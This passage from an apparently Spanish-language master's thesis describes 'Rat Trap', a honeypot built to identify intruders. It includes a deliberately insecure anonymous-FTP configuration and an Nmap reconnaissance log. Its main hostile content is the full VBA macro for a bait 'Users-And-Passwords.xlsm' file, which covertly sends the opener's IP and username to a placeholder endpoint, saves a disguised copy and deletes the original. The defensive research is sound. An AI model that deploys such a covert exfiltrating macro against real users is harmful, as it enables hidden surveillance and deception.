(Qué es CHroot? CHroot es una instruccion formidable de Linux que nos permiti6 instalar
una instancia del root primigenio. ;Para qué lo usamos en este caso? Para hacer creer a los
supuestos atacantes que habian llegado hasta la raiz de nuestro directorio en caso de que decidieran
indagar mas adentro. Asumimos que incluso si estos se dieran cuenta de que estaban en ella, no
necesariamente les tendria que parecer una trampa para identificar intrusos, pudiendo creer que s6lo
era una medida de seguridad mas.

(Como instalamos la jaula? En este caso con debootstrap. Un mecanismo para instalar un

sistema operativo completo Linux en el directorio que nosotros le indiquemos.

root@ubuntu: /home/ubuntu#
root@ubuntu:/home/ubuntu# ls /sys/devices

root@ubuntu:/home/ubuntu# mount --bind /proc/ /example/chroot/root
root@ubuntu:/home/ubuntu# ls /example//chroot/

root@ubuntu: /home/ubuntu# ||

debootstrap - -variant=buildd - -arch 1386 xenial /example/chroot http://archive.ubuntu.com/ubuntu

Tras crearla en el directorio example y hacer chrroot, comprobamos que el directorio ya no aparece.

bin boot dev etc home 1lib media mnt opt proc root run sbin srv sys tmp usr var

root@ubuntu: /# I

8.3 - El acceso vulnerable.

El acceso podia ser a través de cualquier tipo de vulnerabilidad, siempre que el
procedimiento del atacante al llevarse la baliza dejara claro que estaba ejecutando un ataque
organizado. Comprendimos al escoger una acceso vulnerable, que la filosofia de Rat Trap en ninglin
caso podria ser el de una trampa inductora si desedbamos llegar a identificar de manera imputable.

No se trataba de inducir al delito a quien no pensaba cometerlo, por tanto, en cualquier caso, la
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vulnerabilidad explotable que se dejara al alcance del atacante malicioso, habia de ser suficiente
como para que éste demostrara, al menos, unos conocimientos intermedios. No bastaria con dejar
un acceso que cualquiera pueda encontrar por casualidad. La linea entre la comision del delito por
propia voluntad y la induccién al delito, en ningiin caso debia ser difusa. Quedaria claro que el
atacante pretendia penetrar deliberadamente y no que habia sido tentado al acceso.

Optamos por la vulnerabilidad FTP anonymous allowed, una de las vulnerabilidades menos
complejas. Pero no creimos oportuno perder mucho tiempo en este aspecto. En cualquier caso, al
escanear la maquina y descubrir el puerto abierto con dicha vulnerabilidad, quedaba ya, en nuestra
opinidn, delatada una intencion indiscutible.

El software libre utilizado fue vsftpd, conocido demonio FTP que se mantiene a la escucha
en servidores. Por una aparente mala configuracion, el acceso como usuario andénimo queda
bahabilitado y cualquier escaner de vulnerabilidades descubriria ficilmente, tanto el puerto abierto
como la aparente mala practica o descuido en el login disponible.

El escaneo mostraria, entre otros datos sobre el servidor, el puerto 21 FTP abierto, el usuario

anonimo habilitado.

GNU nano 2.5.3 File: vsftpd.conf

Example config file /etc/vsftpd/vsftpd.conf

The default compiled in settings are fairly paranoid. This sample file
loosens things up a bit, to make the ftp daemon more usable.
Please see vsftpd.conf.5 for all compiled in defaults.

READ THIS: This example file is NOT an exhaustive list of vsftpd options.
Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
capabilities.

HHEH AR R "EE

Allow anonymous FTP? (Beware - allowed by default if you comment this out).
anonymous_enable=YES

p Error o

# Uncomment this to allow local users to log in. ,
local_enable=YES LiL‘.\k‘lll(l() cn ]Ll

# White List Pattern k‘()lll 12uUuracion
userlist_deny=NO -
userlist_enable=NO

userlist_file=/etc/vsftpd/user_list

#

# Uncomment this to enable any form of FTP write command.

write_enable=YES

#

# Default umask for local users is @77. You may wish to change this to 022,

# if your users expect that (022 is used by most other ftpd's)

local _umask=022

#

# Uncomment this to allow the anonymous FTP user to upload files. This only

# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=YES

#

# Uncomment this if you want the anonymous FTP user to be able to create

# new directories.

anon_mkdir_write_enable=YES 23




8.4 - El localizador.

La tipologia del localizador no nos era primordial, pero cumplir los requerimientos si.

Prioritario nos parecia que cumpliese con las siguientes directrices:

- Que fuera lo suficientemente atractiva como para que el atacante prefiriese llevarse el archivo
completo que abrirlo o analizarlo en el sitio. Por ejemplo dédndole un nombre sugerente e
irresistible para un intruso malicioso como: usersAndPasswords.xIm. Elegimos excel porque no
era posible ser ejecutado desde nuestro entorno (office es posible ejecutarlo en un entorno Linux
pero necesita una instalacion que no es rapida).

- Que, una vez abierta, recabara el maximo numero de datos del entorno nuevo, en especial la IP
publica. Otros datos como la IP privada, son dificiles de obtener pero serian muy valiosos para
futuras imputaciones.

- Que tratase de ocultar algin archivo con un fingerprint en la méaquina del atacante, como prueba
univoca que la distinguiera de entre todas las maquinas bajo la mismalP. Y que borrase el codigo
del script una vez ejecutado para complicar el rastreo de nuestra huella. En nuestro caso
guardamos en una fotografia una firma oculta con estaganografia.

Optamos por utilizar como script una Macro programada en VBA, escondida en el ya
mencionado archivo excel de office.

8.5 - Callejon sin salida con Google Sheets

De entre las multiples posibilidades que se pueden disefiar para crear un localizador, nuestro
primer intento fue con un archivo en la nube que asegurase la conectividad http al acceder
necesariamente a €l a través de internet. Escogimos las Sheets de Google que permitian la ejecucion
de coédigo. Sin embargo, después de muchos intentos nos encontramos con un obstiaculo que no
supimos salvar. Aunque si logramos programar un script que solicitaba a una API la direccion ip, la
direccion que se recibia no era la de quien abria el archivo (el cliente) sino la de Google, ya que

funcionan dentro de un contenedor y no en el cliente.

ipt

ar Ver Ejecutar Publicar Recursos Ayuda
B O » % mnp

Cadigo.gs

3 function onOpen(e){
4 var response = UrlFetchApp.fetch("https://api.ipify.org");

6 return response.getContentText();

7}

) function myIp(){

10 var curlIp = UrlFetchApp.fetch("https://api.ipify.org");

1 var details = UrlFetchApp.fetch("http://api.ipstack.com/" + curlIp + "?access_key=fbeB8d6ff92d55388bbf1ed279285b878&format=1")
return details.getContentText();

13}
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3 (] @ docs.google.com/spreadsheets/d/1XrPDcXrqHBifiTlaul

it Aplicaciones @ AdminCanales |R.. @ New Basic Flowch.. [ Fichaje

Pruebas ¥ m &

Archivo Editar Ver Insertar Formato Datos Herramientas

o= 100% ~ € % .0 .00 123~ Predetermi.. ~

A

{
“ip":"35.187.132.102",
“type":“ipva",
“continent_code":"NA",
“continent_name":"North America",
“country_code":"US",
“country_nar ited States",
“region_code":"CA",
“region_name""California®,
“city":"Mountain View",
"Zip":"94043",
“latitude”:37.419158935546875,
“longitude":-122.07540893554688,
"location™{
"geoname_id":5375480,
“capital*:"Washington D.C.",
“languages"[
{
“code":"en",
“name":"English",
“native":"English*

}

“country_flag""http:\Vassets.ipstack.comVflagsVus.svg",
"country_flag_emoji":"ud83c\uddfa\ud83cluddfs”,
"country_flag_emoji_unicode":"U+1F1FA U+1F1F8",
“calling_code":"1",

"is_eu"false

+ = Hoja1 ~

8.6 - Problemas con Excel en Mac.

En uno de nuestros desarrollos descubrimos que no obteniamos los mismos resultados
utilizando el paquete office para 10s. Las macros daban problemas, al parecer porque existen

algunas librerias que hay que activar manualmente, mientras en windows no.

|(Cenaral) ﬂ |PruehaApa(hMac

Sub PruebaApachMac()

Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")

URL = "http://192.168.1.63/"

objHTTP.Open "POST", URL, False

objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send (*{Hola:Hola}")

| [ ] Visual Basic para Aplicaciones

Se ha producido el error '429' en tiempo de ejecucién:

El componente ActiveX no puede crear el objeto

Ayuda Finalizaciéon

8.7 - Las Macros.

Las macros son scripts de instrucciones o comandos que ayudan a automatizar tareas y a
ejecutarse bajo una Unica instruccion. Por ejemplo en office y més en particular en excel, las macros
ayudan a no perder el tiempo repitiendo una y otra vez la misma secuencia de instrucciones. Pero
estas macros de VBA (Visual Basic for Applications) conllevan riesgos pudiendo ser utilizadas para
usos no deseados. Al fin y al cabo, desde ellas se pueden ejecutar instrucciones de codigo arbitrario
que no pretendiese el usuario. Por esta razon, se incorporan algunos métodos de seguridad desde la

configuracién que no permiten que estas se ejecuten sin permiso, a no ser que se haya autorizado
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todas previamente, que no es lo mas frecuente. La configuracion por defecto solicita permiso para
su ejecucion pero todavia a dia de hoy, muchos usuarios no conocen el alcance de estas macros y
sus implicaciones en el &mbito de la seguridad al aceptarlas.

Una configuracion muy restrictiva de estas macros no permitiria la ejecucion del programa
oculto en nuestra investigacion, sin embargo una configuracion convencional, junto con la ayuda

del atacante, si daria resultado.

En nuestro ejemplo resolvimos el obstaculo de la habilitacion de las macros con una técnica
que nos serviria con muy pocos atacantes maliciosos, s6lo algunos desprevenidos, pero que como
venimos repitiendo, este ejemplo sélo pretende ser una linea de investigacion extrapolable a
métodos més elaborados y sofisticados, que alcancen el mismo objetivo.

Al abrir el archivo de excel, éste mostraba una hoja de inicio y ocultaba la hoja principal.
Esto lo conseguimos utilizando un cddigo que ocultaba todas las hojas antes de cerrar, a excepcion

de la hoja “Inicio”, y que después guardaba el archivo:

Private Sub Workbook BeforeClose (Cancel As Boolean)
Sheets ("Inicio") .Visible = x1SheetVisible

For Each ws In ThisWorkbook.Worksheets
If ws.Name <> "Inicio"™ Then
ws.Visible = xlVeryHidden
End If
Next ws

ActiveWorkbook.Save
End Sub

Para después, hacer lo inverso, ocultando “Inicio” y mostrando el resto de hojas disponibles, Una

vez habilitadas las Macros y liberando, el cédigo guardado en This. Workbook.

a Microsoft Visual Basic para Aplicaciones - Users-And-Passwords.xlsm

Archivo Edicion Ver Insertar Formato Depuracion Ejecutar Herramientas Complementos Ventana Ayuda

NE-A B9 »on @ IS EFW 5 @I LingCols =
Proyecto - VBAProject 5‘
E &3 =
B @; VBAProject (Users-And-
[=)-£25 Microsoft Excel Objetos 2 Users-And-Passwords.xIsm - ThisWorkbook (Cédigo)
) Hoja1 (Inicio) |Workbook
HH) Hoja2 (Gastos)
@ ThisWorkbook Private Sub Workbook_Open()
=) Mddulos For Each ws In ThisWorkbook.Worksheets
w22 Médulo1 ws.Visible = xlSheetVisible
Next ws
Sheets ("Inicio”) .Visible = xlVeryHidden
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Lo que encontraba el hipotético atacante al abrir el archivo es la siguiente vista:

PR inicar  Diposiciondepigna  Fomulss  Datos  Reviar Vit Progamador  Ayuds  Q Qué deseshacer?

rrrrrr

I ADVERTENCIA DE SEGURIDAD  Las macros se han deshabiftado

8 c o 3 F G " 1 ) 3

Il

18
Z Habilite Las Macros Para Continuar
]
s
s

Previniendo que el atacante sospechase e intentara entrar directamente al codigo de las
Macros, lo protegimos con contrasefia. Pero logicamente, si llegase a ese punto de suspicacia,

dificilmente caeria en la trampa alguien con su supuesto nivel de conocimientos.

Archivo  Edicion Ver Insertar Formato Depuracion Ejecutar Herrar

- »ou @IS EY
Proyecto - VBAProject él

-7}

Ed =
@& VBAProject (¢ VBAProject Contrasefia

:
Contrasena
| | Cancelar

Una vez que el atacante aceptaba habilitar las macros, el resto del codigo hacia lo siguiente:
- Buscaba la ip y la guardaba en un archivo temporal.
- Guardaba dicha ip en una variable de tipo string llamada ipLocal.
- Eliminaba el archivo temporal y las variables declaradas a excepcion de ipLocal.
- Lanzaba un manejador de errores para el caso de que no hubiese internet.
- Definia una URL con nuestro endpoint y la ip mas el userName en una query string y la enviarba
al endpoint por medio de una peticion GET.
- Guardaba en una variable el path actual del archivo.
- Anulaba en varias ocasiones los mensajes emergentes.
- Guardaba una copia del archivo en la ruta C:/Users/NombreDelUsuario.

- Eliminaba el libro que abri6 el atacante (ahora se encontraba en una copia) y cerraba este.
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Repositorio con el codigo original:

https://github.com/Lucas73/Macro-PEM-CS

indexVB

Private Sub Workbook_Open()
For Each ws In ThisWorkbook.Worksheets
ws.Visible = x1SheetVisible
Next ws
Sheets("Inicio").Visible = x1lVeryHidden

Dim wsh As Object
Dim RegEx As Object, RegM As Object
Dim FSO As Object, fil As Object
Dim ts As Object, txtAll As String, TempFil As String
Set wsh = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set RegEx = CreateObject("vbscript.regexp")
TempFil = "C:\Users\" & Application.UserName & "\myip.txt"

wsh.Run "%comspec% /c ipconfig > " & TempFil, @, True
With RegEx

.Pattern = "(\d{1,3}\.){3}\d{1,3}"

.Global = False

End With

Set fil = FSO.GetFile(TempFil)

Set ts = fil.OpenAsTextStream(1)
txtAll = ts.ReadAll
Set RegM = RegEx.Execute(txtAll)

Dim ipLocal As String
ipLocal = RegM(@)

ts.Close

Kill TempFil

Set ts = Nothing
Set wsh = Nothing
Set fil = Nothing
Set FSO = Nothing
Set RegM = Nothing
Set RegEx = Nothing

On Error Resume Next
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")



https://github.com/Lucas73/Macro-PFM-CS

Url = ”http://ENDPOINT/?IP:“ & iplLocal & "UserName=" & Application.UserName

objHTTP.Open "GET", Url, False

objHTTP. setRequestHeader "User-Agent", "Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"

objHTTP.send ("varl=valuel&var2=value2&var3=value3")

Dim myPath As String

myPath = Application.ThisWorkbook.FullName

Application.DisplayAlerts = False

ActiveWorkbook.SaveAs Filename:= _
"C:\Users\" & Application.UserName & "\NTUSER-DAT" _
, FileFormat:=x10penXMLWorkbookMacroEnabled, CreateBackup:=False

Application.DisplayAlerts = False

ActiveWorkbook.ChangeFileAccess x1ReadOnly

Kill myPath
ThisWorkbook.Close False
ActiveWorkbook.Close

vate Sub Workbook_BeforeClose(Cancel As Boolean)
Sheets("Inicio").Visible = x1SheetVisible

For Each ws In ThisWorkbook.Worksheets
If ws.Name <> "Inicio" Then

ws.Visible = x1VeryHidden
End If

Next ws

ActiveWorkbook.Save
End Sub




8.8 - Peticion HTTP.

Llegando a este punto en el que el localizador era ejecutado por medio de la Macro, en
primer lugar, descubrimos que cuando no habia conexion a internet, el error destapaba la intencion
del archivo, asi que previnimos esto afiadiendo la instruccion ON Error Resume Next para que
manejara el error, si se diera. Optamos por construir una peticion GET, aunque se pueda ejecutar
una peticion POST, porque GET genera menos conflictos, y encolamos una Query String que

llevaba los datos que habiamos capturado en su entorno.

8.9 - Fingerprint.

Una vez guardado y escondido nuestro archivo en la maquina del atacante, comprendimos
que era necesario dejar alguna huella inequivoca para analisis forenses. Asi que introdujimos una
mensaje, con técnicas esteganograficas, gracias a la herramienta S-TOOLS, dentro de la imagen
smile junto al texto: “Habilita Las Macros Para Continuar”. Si en algin momento se inspeccionase
la maquina después de seguir la ip, un perito forense confirmaria facilmente su autenticidad.

¥l 5 | C:\Users\Lucas\Desktop\Capturas Para PFM

Archiv ~
Ml Nico  Compartie  Vists Nombre Fecha de modificacién | Tipo Tamado

£ “[lm D ch Cortar @ s~ =% = T [ FingerPrintxt 1/07/20208:37 Documento dete... KB

3 *FingesPrint.txt: Bloc de notas 8] smilebmp 11/07/2020 9:55 Archivo BMP 193 K8

Andlaral  Coplar Pegal

Acceso ripido Archivo  Edicion  Formato  Ver  Ayuda 28 mile.bm
Portapd Este archivo es propiedad de L '
4 [1» cfLUCAS PORTOLES DE VAL e lde
) MASTER (S Campus Internacional de Ciberseguridad.
o Acceso ripido |
& Descargas L 4
B Escritorio * Hiding 179 bytes
4 Documentos P
& Imagenes -~
| 2ms
Capturas Para PFM
~
Nombre Fecha de modificacién __ Tipo Temaiio
= N o -smi
B FingerPrint txt #v S-Tools - smileFP.bmp
I!] 5mi|¢,bmp File Window Help
|&] smileFP.bmp
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8.10 - Entidad Certificadora.

Uno de los grandes obstaculos que encontramos a la hora de montar nuestro localizador para
identificar a los atacantes, fue el repudio. Para mitigarlo construimos una entidad certificadora, que
aunque no existe actualmente no s6lo no seria de dificil creacion sino que para la administracion
publica (o privada, aunque seria menos deseable) seria una buena fuente de ingresos. En el
experimento que nos ocupa, construimos dicha entidad certificadora, con un servidor Apache
configurando una redireccion 300 a nuestro endpoint. En un caso real, ayudaria al no repudio, si
esta entidad alcanzara un nivel de confianza suficiente o si se le supusiese veracidad como se le
supone a un organismo publico.

Esta hipotética entidad podria también, como explicdbamos en el apartado anterior, crear las

marcas univocas, que dejaran constancia de que fueron facilitadas por ella y solo por ella.

Fingerprint Univoco

Por entidad certificadora de confianza

1 La entidad

de confianza.

La entidad crea un token.
Este token univoco es escondido
con esteganografia en una imagen.

2 La Entidad nos

lo proporciona.

3 Anadimos
la imagen

I El atacante posee

el fingerprint.

5 Imputabilidad.
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Configuracion en el apache2.conf :

"\"IP Local\" %A %v:¥p %h %L %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined

"IP Local: %A Host Remoto: %h Query: %q IP Final %>h %1 %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%¥{User-Agent}i\"" combined
"%A %h %L %u %t \"%r\" %¥>s %0" common

"%¥A %{Referer}i -> %U" referer

"%A %{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

Redirect "/" "http://192.168.1.58"

Como podemos ver ademads de la redireccion optamos por algunos cambio en el formato de
los logs, para hacerlo un poco mas friendly, al igual que lo hicimos en el Server Log del

apache2.conf del siguiente apartado, del que no repetiremos captura por ser igual.

8.11 - EGarante.

Al inicio de esta investigacion, el experto en ciberseguridad, Jests Torres, nos expuso sus
dudas sobre la certificacion de la informacioén obtenida por medio del localizador, de cara a una
posible imputabilidad y nos propuso la inspeccion de entidades certificadoras, que inspiraron el
apartado anterior. Sin embargo al hablar con algunas como E-Garante, empresa cuyo principal
objetivo es la certificacion online, descubrimos que ellos certifican correos electronicos
redirigiéndolos, o certifican instantaneas de una web en un momento determinado, sin embargo de
momento, no prestan el servicio de certificar peticiones HTTP. Este es, quizas, el eslabon que ha
quedado mas débil a dia de hoy en nuestra investigacion, pero estamos convencidos que se pueden

lograr multiples soluciones.

eGarante
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8.12 - Server log.

Para poder registrar las peticiones HTTP que nos dirigia nuestra baliza, necesitdbamos un
archivo que registrase los eventos que ésta lanzaba. Asi que utilizamos nuevamente el access.log de
un segundo servidor Apache, que para este experimento nos parecio suficiente.

Como comentamos anteriormente, utilizamos una peticion GET encolando query strings,
porque son mas sencillas de manejar y evitarian algunos posibles errores de ejecucion en la

maquina atacante. Las peticiones que le llegarian se compondrian de los siguientes campos:

h3/7aver"” "Mozillas/5.0 (Windows NT 10.0; Winb4: x64.
3.0.4103.116 Safari/537.36"
192.168.1.42 - - [12/Jul/2020:14:3( 31 “GET .,

s NT 10.0; Winb4: x64) AppleWebKii (KHTML,
192.168.1.42 - - [12/Jul/2020:14:3( 31 "GET .,

p3/?aver"” "Mozilla/5.0 (Windouws NT 164; x64:
3.0.4103.116 Safari/537.36"
192.168.1.42 - - [12/Jul/2020:14:3( JIN'GET ~?aver HTTP,1.1" 20Q 1839 “-" “Mozilla/5.0 (Windo
s NT 10.0; Win64: x64) AppleWebKit,537.36 (KHTME, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
192.168.1.42 - - [12/Jul/2020:14:31:09 +00001 "GET % HTTP-/1.1" 200 1839 *-" “Mozilla,/5.0 (Windows NT
10.0; Winb4: x64) AppleWebKit,537.36 (KHTML, like Geclgod Chrome,83.0.41@:" 116 Safari/537.36"
192.168.1.42 - - [12/Jul/2020:14:36:40 +00001 "-" 408 G“=." "-¥
192.168.1.42 - - [14/Jul/2020:12:08:08 +00001 “"GET ~?IP=192.168.56.1UserName=Lucas HTTP/1.1" 200 529
P "-" "Mozillas4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

oot@ubuntu:var/log/apachelit

8.13 - RAT TRAP Monitor.

Rat Trap Monitor es una herramienta sencilla. En este caso no necesitdbamos mas que un
script de Bash con un filtro de reglas que limpiase los eventos e identificara a los protagonistas de
los incidentes. Nustro script de bash realizaba las siguientes instrucciones:

- Por medio de una expresion regular, localizaba, encapsulaba en una variable y mostraba del
archivo access.log, la primera ip disponible.
- Hacia después una llamada a una API cuyo endpoint es ipinfo.io, pasandole como query string
dicha ip, quien devolvia informacion util como geolocalizacion, operador, etc.
- Por ultimo mostraba los ultimos 10 logs del archivo access.log.
Para hacer el script ejecutable desde cualquier punto de la maquina ejecutamos la

instruccion: Chmod -x RatTrap.sh y después la copiamos en el directorio bin: cp RatTrap.sh /ust/

local/bin/
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GNU nano 2.5.3 File: RatTrap.sh

I!/bim‘bash
# -*- ENCODING: UTF

) "BIENVENIDO A RAT TRAP"

VAR=$(grep -o "[@-9]\{1,3\}\.[0-97\{1,3\}\.[0-91\{1,3\}\.[0-9]\{1,3\}" /var/log/apache2/access.log | head -n 1)

) "ULTIMO ACCESO: $VAR"

) "INFORMACION DEL ULTIMO ACCESO:"

ipinfo.io/"$VAR"

e "\n Ultimos 10 Logs:"

/var/log/apache2/access.log | grep -i “"Host-remoto" | nl
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9 - Ciclo de vida de RAT TRAP (Demostracion).

Utilizamos 4 maquinas virtuales y una fisica para la recreacion.

(s Kali-Linux-2020.1-vbox-amd64 (Instanta...)
O @ Apagada

3, Apache Server Log (Instantnea 4)
, @ Apagada

3, Entidad Certificadora (Instanténea 4)
, @ Apagada

ETAPA 1- Intrusion y robo de la baliza.

El intruso o atacante escane6 nuestra red con Nmap descubriendo el puerto FTP abierto,

la vulnerabilidad Anonymous e incluso el archivo Users-And-PAsswords - MCS.xImx

kali@kali: ~

File Actions Edit View Help

:~$ nmap -sV -sC 192.168.1.63
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-16 16:58 EDT
Nmap scan report for 192.168.1.63
Host is up (0.00093s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed (FTP code 230)
_=IwW-r—r-— 10 0 175793 Jul 13 20:33 Users-And-Passwords - MCS.xlsm
ftp-syst:
STAT:
FTP server status:
Connected to 192.168.1.54
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was &
vsFTPd 3.0.3 - secure, fast, stable
_End of status
ssl-cert: Subject: commonName=CS/organizationName=CS/stateOrProvinceName=mad/countryName=es
Not valid before: 2020-07-13T18:17:
_Not valid after: 2021-07-13T18:17:
_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 3c:84:66:fe:73:3d:6f:61:d7:03:fd:65:78:29:53:ef (RSA)
256 9a:de:f6:e2 63:9e:cd 5
_ 256 ab:4b:7e:9f:c1:70:ad:ad:33:3a:f9:33 d9:7c¢:16 (ED25519)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds

Descubierta tras el escaneo, la conexion como usuario andénimo, el atacante se conecto a

nuestro servidor FTP por medio de Filezilla.
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@ Filezilla Archivo Edicion Ver Transferencia Servidor Marcadores Ayuda jNueva versién disponible!

| NON FileZilla

IR QIR0 L) T A28

oy

Servidor:  192.168.1.63 Nombre de usuario:  anonymous Contrasefia: |nunuo I Puerto: hd

Estado: Registrado en

E | Estado: Recuperando el listado del directorio... directorio
Estado: Calculando compensacion de la zona horaria del servidor...

se listd Estado: Timezone offset of server is O seconds.
Estado: Directorio */" listado correctamente

correctamente:

Sitio remoto: /

Nombre de archivo # afno de ar Tipo de archivi Ultima modificacid Permisos Propietario/Grupo

B, Users-And-Passw... 175793 Microsoft.. 13/07/2020 2... -rw-r--r-- 00

C:\Users\Lucas\Desktop\Carpeta Maquina del Atacante
) Compartir Vista

D & Cortar ¢ x @ 7 Nuevo elemento ~ g::

w.| Copiar ruta de acceso {] Facil acceso v

opiar Pegar - . Mover Copiar Eliminar Cambiar  Nueva Propiedades .
E] Pegar acceso directo av av - nombre carpeta - £ Hist
Portapapeles Organizar Nuevo Abrir
. > Carpeta Maquina del Atacante
~
Nombre Fecha de modificacion Tipo Tamario
|pid0
@ Users-And-Passwords - MCS.xlsm 16/07/2020 23:08 Hoja de calculo h... 172 KB
as
o ~
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Y se mostro el archivo Users-And-Passwords.

El intruso se llevé indebidamente el archivo a su maquina (en este caso windows) para
abrir el archivo robado.

ETAPA 2- Ejecucion del localizador.

Tras abrirlo, el archivo excel le pidid que para continuar aceptase las macros.

1 ADVERTENCIA DE SEGURIDAD  Las macros se han deshabilitado. Habilitar contenido

= Habilite Las Macros Para Continuar

El atacante aceptd las macros, y el script tras enviar la peticidon al servidor de la entidad
certificadora, guardd una copia en su ordenador sin notificarlo para seguidamente

eliminar todo el cddigo del libro excel que el atacante tenia abierto, dejandolo vacio.

Guardd copia bajo un nombre de un archivo tipico de Windows que dificultara rastreos.
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C:\Users\Lucas
Compartir Vista

[} Nuevo elemento ~ ) A FH seleccionar todo
| ¥
£7) Facil acceso ~ Modifica No seleccionar nada
Eliminar Cambiar ~ Nueva Propiedades
= n re carpeta e

|
| Invertir seleccion
Portapapeles Organizar Nuevo Abrir Seleccionar

> Esteequipo > Windows (C) > Usuarios > Lucas v

A Nombre Fecha de modifica.. Tipo Tamafio

sido
AppData

Application Data

DeSpUéS, ’ ,7Bu5qusdas

ntos 25| Contactos

en el

s @Descargas
accessjog =) Documentos 200
Para Pi I Escritorio 16/07/2020 23:04
. Favoritos 20 0:17
entidad " g Cobia
#P Juegos guardados l ¢
Microsofttdgetackps - (yardada sin
D Masica .
° B Objetos 30 notificar al
s @ OneDrive
atos B videos atacante
& Vinculos
VirtualBox VMs

de | a

gitconfig
NTUSER.DAT

) NTUSER-DAT.xlsm

v Vagrantfile 21/03/2020 16:29 Archivo

certificadora pudimos

comprobar que el log de la peticion GET habia quedado correctamente registrado.

Host Remoto: 192.168.1.42 Query: 7IP=192.168.56.1UserName=Lucas IP Final 192.
168.1.42 - - [16,Jul/2020:14:32:28 -07001 “"GET ,?IP=192.168.56.1UserName=Lucas HTTP,1.1" 302 585 “-'
"Mozillas4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
ootBubuntu:/home/ubuntut _

Seguidamente cambiamos al Server Log final y comprobamos su access.log.

root@ubuntu:/home/ubuntult cd ..

root@ubuntu:/homelt ls

index.html index.html.1 RatTrap.sh
root@ubuntu:/home#t cat svar/lograpacheZ-/access. log

Verificamos que la misma peticién redirigida habia sido capturada correctamente:

ost-remoto: 192.168.1.42 Query-String: ?IP=192.168.56.1UserName=Lucas IP-Cliente: 192.168.1.42 IP-L
ocal: 192.168.1.58 Nombre-host-remoto: - Nombre-usuario-remoto: - Time: [16,/Jul/2020:14:32:28 -07001]
Protocolo: HTTP/1.1 Peticion: “GET ,7IP=192.168.56.1UserName=Lucas HTTP/1.1" Estado-de-la-Solicitud

: 200 Bytes—enviados: 5520 Referer: "-" User-Agent: "Mozillas4.0 (compatible: MSIE 6.0; Windous NT 5
.0)"
root@ubuntu:/home#t _

Finalmente ejecutamos el script RatTrap y visualizamos los resultados correctamente.
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root@ubuntu:/home# 1s

RatTrap.sh index.html index.html.1
root@ubuntu:/home# clear
root@ubuntu:/home# ./RatTrap.sh

| IT ::/_: e :_I
(I I I B I 1)1
[ | /

BIENVENIDO A RAT TRAP
ULTIMO ACCESO: 192.168.1.42
INFORMACION DEL ULTIMO ACCESO:

{
"ip": "192.168.1.42",
"bogon": true
}
@Ultimos 10 Logs:
1 Host-remoto: 192.168.1.34 Query-String: 7SinSaltosDeLinea IP-Cliente: 192.168.1.34 IP-Local: 192.168.1.58 Nombre-host-remoto:
- Nombre-usuario-remoto: - Time: [16/Jul/2020:09:55:16 -0700] Protocolo: HTTP/1.1 Peticion: "GET /7?SinSaltosDelLinea HTTP/1.1" Estado
-de-la-Solicitud: 200 Bytes-enviados: 2015 Referer: "-" User-Agent: "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_4) AppleWebKit/537.
36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"

2 Host-remoto: 192.168.1.34 Query-String: IP-Cliente: 192.168.1.34 IP-Local: 192.168.1.58 Nombre-host-remoto: - Nombre-usuario
-remoto: - Time: [16/Jul/2020:12:10:38 -070@] Protocolo: HTTP/1.1 Peticion: "GET / HTTP/1.1" Estado-de-la-Solicitud: 200 Bytes-enviad
os: 2015 Referer: "-" User-Agent: "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0
.4103.116 Safari/537.36"

3 Host-remoto: 192.168.1.34 Query-String: 7HolaRebe IP-Cliente: 192.168.1.34 IP-Local: 192.168.1.58 Nombre-host-remoto: - Nombr
e-usuario-remoto: - Time: [16/Jul/2020:12:12:10 -0700] Protocolo: HTTP/1.1 Peticion: "GET /?HolaRebe HTTP/1.1" Estado-de-la-Solicitud
: 200 Bytes-enviados: 2015 Referer: "-" User-Agent: "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_4) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36"

4 Host-remoto: 192.168.1.42 Query-String: ?IP=192.168.56.1UserName=Lucas IP-Cliente: 192.168.1.42 IP-Local: 192.168.1.58 Nombre
~-host-remoto: - Nombre-usuario-remoto: - Time: [16/Jul/2020:14:32:28 -0700] Protocolo: HTTP/1.1 Peticion: "GET /7IP=192.168.56.1UserN
ame=Lucas HTTP/1.1" Estado-de-la-Solicitud: 200 Bytes-enviados: 5520 Referer: "-" User-Agent: "Mozilla/4.@ (compatible; MSIE 6.0; Win
dows NT 5.0)"
root@ubuntu:/home# I
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10 - Reflexiones y conclusiones.

El objetivo de este estudio era comprobar si existe una impunidad resefiable dentro de los
delitos cibernéticos. También si €sta ha extendido una sensacion de impunidad que conlleve una
